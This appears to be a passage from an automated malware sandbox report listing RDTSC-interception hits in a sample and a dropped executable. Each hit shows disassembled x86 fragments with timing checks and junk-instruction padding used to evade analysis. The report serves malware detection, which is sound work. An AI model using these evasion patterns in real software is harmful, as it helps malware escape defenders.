Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8811F second address: E88148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F148511F5B6h 0x0000000b jmp 00007F148511F5BAh 0x00000010 popad 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F148511F5B6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88148 second address: E8814C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8869C second address: E886C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C0h 0x00000007 jmp 00007F148511F5C7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88987 second address: E88994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F14847540ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88994 second address: E88998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BF4 second address: E88BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88BF8 second address: E88C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A634 second address: E8A650 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B2h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A650 second address: E8A656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A4D5 second address: E8A4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F14847540A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CF9B second address: E8CF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CF9F second address: E8CFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D081 second address: E8D085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D085 second address: E8D089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D2B1 second address: E8D2CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or dx, 4460h 0x0000000e push 00000004h 0x00000010 mov dh, 44h 0x00000012 push 7906BC1Dh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D5CE second address: E8D627 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnp 00007F14847540B6h 0x00000015 jmp 00007F14847540B0h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jno 00007F14847540BBh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 jmp 00007F14847540AFh 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E75D second address: E8E762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FE00 second address: E8FE16 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d js 00007F14847540A6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FE16 second address: E8FE21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F148511F5B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91C52 second address: E91C58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91C58 second address: E91C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0468 second address: 53E046E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E046E second address: 53E0472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0472 second address: 53E0488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F14847540ABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E051D second address: 53E059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F148511F5B9h 0x0000000e pushad 0x0000000f mov al, E7h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F148511F5BFh 0x00000018 xor al, 0000003Eh 0x0000001b jmp 00007F148511F5C9h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F148511F5C0h 0x00000027 sub cx, 3738h 0x0000002c jmp 00007F148511F5BBh 0x00000031 popfd 0x00000032 popad 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov dl, ch 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E059F second address: 53E05A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05A5 second address: 53E05A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05A9 second address: 53E061F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F14847540B7h 0x00000016 xor ch, 0000000Eh 0x00000019 jmp 00007F14847540B9h 0x0000001e popfd 0x0000001f mov ah, B4h 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 movzx eax, di 0x00000028 mov dx, 6588h 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F14847540ADh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E061F second address: 53E06AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov cl, 02h 0x0000000d pushfd 0x0000000e jmp 00007F148511F5C9h 0x00000013 add ax, EE06h 0x00000018 jmp 00007F148511F5C1h 0x0000001d popfd 0x0000001e popad 0x0000001f call 00007F14F5F72F3Eh 0x00000024 push 762327D0h 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov eax, dword ptr [esp+10h] 0x00000034 mov dword ptr [esp+10h], ebp 0x00000038 lea ebp, dword ptr [esp+10h] 0x0000003c sub esp, eax 0x0000003e push ebx 0x0000003f push esi 0x00000040 push edi 0x00000041 mov eax, dword ptr [762C0140h] 0x00000046 xor dword ptr [ebp-04h], eax 0x00000049 xor eax, ebp 0x0000004b push eax 0x0000004c mov dword ptr [ebp-18h], esp 0x0000004f push dword ptr [ebp-08h] 0x00000052 mov eax, dword ptr [ebp-04h] 0x00000055 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005c mov dword ptr [ebp-08h], eax 0x0000005f lea eax, dword ptr [ebp-10h] 0x00000062 mov dword ptr fs:[00000000h], eax 0x00000068 ret 0x00000069 jmp 00007F148511F5BEh 0x0000006e and dword ptr [ebp-04h], 00000000h 0x00000072 pushad 0x00000073 movzx eax, di 0x00000076 movsx ebx, ax 0x00000079 popad 0x0000007a mov edx, dword ptr [ebp+0Ch] 0x0000007d jmp 00007F148511F5C2h 0x00000082 mov esi, edx 0x00000084 pushad 0x00000085 mov eax, 45BC6BDDh 0x0000008a push eax 0x0000008b push edx 0x0000008c mov edi, ecx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E06EF second address: 53E06F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E06F3 second address: 53E06F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E06F9 second address: 53E0716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, 5579h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0716 second address: 53E071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E071B second address: 53E0765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F14847540ACh 0x00000013 or cl, FFFFFFB8h 0x00000016 jmp 00007F14847540ABh 0x0000001b popfd 0x0000001c pushad 0x0000001d movzx eax, bx 0x00000020 mov ebx, 738FAFA6h 0x00000025 popad 0x00000026 popad 0x00000027 dec edi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0765 second address: 53E076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E076C second address: 53E07E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F14847540AEh 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 jmp 00007F14847540B0h 0x00000019 inc edi 0x0000001a pushad 0x0000001b mov bx, ax 0x0000001e mov ebx, esi 0x00000020 popad 0x00000021 test al, al 0x00000023 jmp 00007F14847540B4h 0x00000028 jne 00007F14F559C362h 0x0000002e jmp 00007F14847540B0h 0x00000033 mov ecx, edx 0x00000035 pushad 0x00000036 mov ax, 8D4Dh 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07E3 second address: 53E07F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 shr ecx, 02h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07F2 second address: 53E07F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E07F6 second address: 53E080D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E080D second address: 53E085D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F14847540AEh 0x00000018 mov ecx, edx 0x0000001a pushad 0x0000001b jmp 00007F14847540ADh 0x00000020 popad 0x00000021 and ecx, 03h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F14847540ADh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E085D second address: 53E086D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148511F5BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E086D second address: 53E0871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0871 second address: 53E0898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F148511F5C9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0898 second address: 53E089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E089E second address: 53E08A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E08A4 second address: 53E08DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 jmp 00007F14847540B0h 0x00000017 mov eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E08DF second address: 53E08E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E08E3 second address: 53E0900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0900 second address: 53E0985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c jmp 00007F148511F5BEh 0x00000011 mov dword ptr fs:[00000000h], ecx 0x00000018 pushad 0x00000019 jmp 00007F148511F5BEh 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop edi 0x00000021 jmp 00007F148511F5BCh 0x00000026 popad 0x00000027 popad 0x00000028 pop ecx 0x00000029 pushad 0x0000002a mov ax, 4B9Dh 0x0000002e mov di, ax 0x00000031 popad 0x00000032 pop edi 0x00000033 pushad 0x00000034 mov esi, 7140ADD1h 0x00000039 pushad 0x0000003a jmp 00007F148511F5BCh 0x0000003f mov edi, eax 0x00000041 popad 0x00000042 popad 0x00000043 pop esi 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F148511F5C3h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0985 second address: 53E098B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E098B second address: 53E098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E098F second address: 53E051D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a mov bx, 76A0h 0x0000000e jmp 00007F14847540B9h 0x00000013 popad 0x00000014 leave 0x00000015 jmp 00007F14847540AEh 0x0000001a retn 0008h 0x0000001d cmp dword ptr [ebp-2Ch], 10h 0x00000021 mov eax, dword ptr [ebp-40h] 0x00000024 jnc 00007F14847540A5h 0x00000026 push eax 0x00000027 lea edx, dword ptr [ebp-00000590h] 0x0000002d push edx 0x0000002e call esi 0x00000030 push 00000008h 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F14847540B7h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0AC3 second address: 53E0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 jmp 00007F148511F5BBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F148511F5C4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0AED second address: 53E0B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F14847540B1h 0x00000008 pop ecx 0x00000009 mov eax, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F14847540B3h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F14847540B2h 0x0000001e and ax, 4BD8h 0x00000023 jmp 00007F14847540ABh 0x00000028 popfd 0x00000029 mov cx, B28Fh 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F14847540B4h 0x00000034 and ecx, 7E499638h 0x0000003a jmp 00007F14847540ABh 0x0000003f popfd 0x00000040 popad 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B77 second address: 53E0B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 531F98 second address: 531FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 531172 second address: 53117C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 53117C second address: 531181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 53141A second address: 531422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 531882 second address: 531890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 531890 second address: 531894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 53401E second address: 53403D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F14847540AFh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F14847540A6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 53403D second address: 534054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 534054 second address: 5340DC instructions: 0x00000000 rdtsc 0x00000002 js 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F14847540B5h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnp 00007F14847540B9h 0x0000001c jno 00007F14847540B3h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push edx 0x00000027 jnp 00007F14847540A8h 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 pop eax 0x00000031 movzx esi, ax 0x00000034 lea ebx, dword ptr [ebp+12448D50h] 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F14847540A8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov edx, dword ptr [ebp+122D3966h] 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e pushad 0x0000005f popad 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 534240 second address: 5342BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F148511F5C4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jp 00007F148511F5C4h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 pop eax 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pop eax 0x00000025 call 00007F148511F5C2h 0x0000002a pushad 0x0000002b mov dx, cx 0x0000002e popad 0x0000002f pop ecx 0x00000030 lea ebx, dword ptr [ebp+12448D59h] 0x00000036 mov ch, C2h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push edx 0x0000003d pop edx 0x0000003e push eax 0x0000003f pop eax 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5342BA second address: 5342CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jp 00007F14847540A6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5342CD second address: 5342D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5343A7 second address: 5343E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F14847540A6h 0x00000014 popad 0x00000015 jbe 00007F14847540ACh 0x0000001b jbe 00007F14847540A6h 0x00000021 popad 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jnl 00007F14847540A6h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5343E4 second address: 534420 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F148511F5B6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnp 00007F148511F5C2h 0x00000014 jnl 00007F148511F5BCh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e je 00007F148511F5DAh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F148511F5C0h 0x0000002b rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 52C203 second address: 52C209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 551D6C second address: 551D72 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 551D72 second address: 551D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
